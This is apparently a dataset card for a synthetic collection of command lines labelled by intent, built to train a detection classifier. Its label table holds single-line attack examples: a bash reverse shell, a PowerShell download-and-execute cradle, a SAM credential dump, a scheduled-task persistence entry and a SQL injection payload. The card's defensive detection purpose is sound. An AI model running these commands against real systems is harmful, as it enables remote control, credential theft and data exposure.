DaveyD347's picture
Add script intent dataset
7023796 verified
|
Raw History Blame Contribute Delete
6.55 kB
metadata
license: apache-2.0
language:
  - en
pretty_name: Script & Payload Intent (Synthetic)
size_categories:
  - 10K<n<100K
task_categories:
  - text-classification
tags:
  - cybersecurity
  - security
  - malware-detection
  - command-line
  - powershell
  - bash
  - sql-injection
  - mitre-attack
  - synthetic
configs:
  - config_name: default
    data_files:
      - split: train
        path: data/train.jsonl
      - split: validation
        path: data/validation.jsonl
      - split: test
        path: data/test.jsonl
  - config_name: challenge
    data_files:
      - split: test
        path: data/challenge.jsonl

Script & Payload Intent (Synthetic)

Labeled command lines and query fragments from bash, PowerShell, Windows cmd, SQL and HTTP request lines, each tagged with the intent behind it. It was built to train DaveyD347/script-intent-distilroberta, a classifier that triages process command lines, shell history and WAF logs.

Label What it covers Example
benign Everyday admin, dev and DBA work, including look-alikes such as nc -zv, downloads that aren't executed, base64 and encoded PowerShell sudo systemctl restart nginx
reconnaissance Host, user, network, privilege, cloud and AD discovery nmap -sV -sC -O 192.0.2.0/24
credential_harvesting LSASS/SAM/NTDS dumping, secrets in files, browsers, cloud metadata, Kerberoasting reg save HKLM\SAM C:\Windows\Temp\sam.save
reverse_shell Interactive callbacks to a listener in bash, Python, Perl, PHP, PowerShell, socat and similar bash -i >& /dev/tcp/192.0.2.10/4444 0>&1
persistence Cron, systemd, Run keys, scheduled tasks, WMI subscriptions, SSH keys, rogue accounts, web shells schtasks /create /tn "Updater" /tr C:\ProgramData\a.exe /sc onlogon
download_execute Fetching a remote payload and running it (stagers, LOLBins, cradles) IEX (New-Object Net.WebClient).DownloadString('http://192.0.2.5/a.ps1')
sql_injection Injection payloads as they appear in parameters, queries and request lines ' UNION SELECT NULL,username,password FROM users-- -

Splits

Split Rows Templates Purpose
train 11,760 377 Training (1,680 per class)
validation 1,680 55 Model selection
test 3,360 108 Final evaluation (480 per class)
challenge 73 n/a Hand-written, out-of-template stress test

The splits are template-disjoint. Every row comes from one of 540 templates, and each template is assigned to exactly one split, so the test set measures whether a model generalizes to command patterns it never saw rather than to new IPs or file names in familiar commands. A random split would inflate scores close to 100%. Exact-duplicate texts across splits are removed.

The challenge config holds 73 commands written by hand after the templates were final, with different IP ranges, tools and phrasing (for example naabu, trufflehog, pypykatz, finger | cmd stagers and msbuild loaders). None of them come from a template. It is small, so treat its score as a sanity check, not a benchmark.

Fields

Field Type Description
text string The command line, script fragment, query or request line
label string One of the seven labels above
label_id int Index of label in the order listed above
language string bash, powershell, cmd, sql or http
mitre_technique string or null MITRE ATT&CK technique ID for malicious rows (null for benign)
template_id string Source template, for group-aware splitting and error analysis

How it was made

  1. Templates. 540 hand-written templates: 389 malicious ones, each a known technique documented publicly in MITRE ATT&CK, Atomic Red Team, Sigma rules or common pentest cheat sheets, plus 151 benign templates drawn from routine Linux, Windows, container, cloud and SQL administration.
  2. Slot filling. IPs, ports, users, domains, paths, file names, service names, tables and base64 blobs are randomized per row. Base64 slots carry real encodings (UTF-16LE for PowerShell -EncodedCommand) of either malicious or benign commands, so encoded text appears in both classes.
  3. Augmentation. Random casing for Windows commands, absolute binary paths, sudo prefixes, cmd.exe /c and powershell.exe -Command wrappers, doubled spaces, and SQL-injection-specific prefix, comment, case and whitespace-encoding variants.

Reproduce with python src/generate_dataset.py --out data --per-class 2400 --seed 42.

Safety and privacy

  • No real infrastructure. All IPs are RFC 5737 documentation ranges (192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24) in the generated splits and RFC 1918 private ranges in the challenge set; domains use .example/.test or example.com-style names.
  • No real people or secrets. Usernames, passwords and SSH keys are fake placeholders.
  • No novel tooling. Every malicious pattern is a publicly documented technique that defenders already write detections for. The dataset contains command strings, not binaries or exploits.

Limitations

  • Synthetic distribution. Real command lines are longer, messier and more varied. Expect lower accuracy on production telemetry than on this test split.
  • One label per row. Real attacks chain intents (a cron job that opens a reverse shell is both persistence and a reverse shell). Each row gets the label of its primary intent; a cron entry is labeled persistence even if its payload is a reverse shell.
  • Context-free. Some commands (whoami, net user, sudo -l) are benign or reconnaissance depending on who runs them and when. The dataset labels them by their typical use in attack chains, and the benign class includes the most common everyday forms.
  • Obfuscation coverage is shallow. Heavy obfuscation (Invoke-Obfuscation, string concatenation, environment-variable tricks) is mostly absent.
  • English, Latin-script only. Comments and identifiers are English.

Intended use

Training and evaluating command-line intent classifiers, detection-engineering prototypes, and teaching. It should not be the only signal in a production detection pipeline.

Citation

@misc{script_intent_2026,
  title  = {Script & Payload Intent (Synthetic)},
  author = {DaveyD347},
  year   = {2026},
  url    = {https://huggingface.co/datasets/DaveyD347/script-intent-commands}
}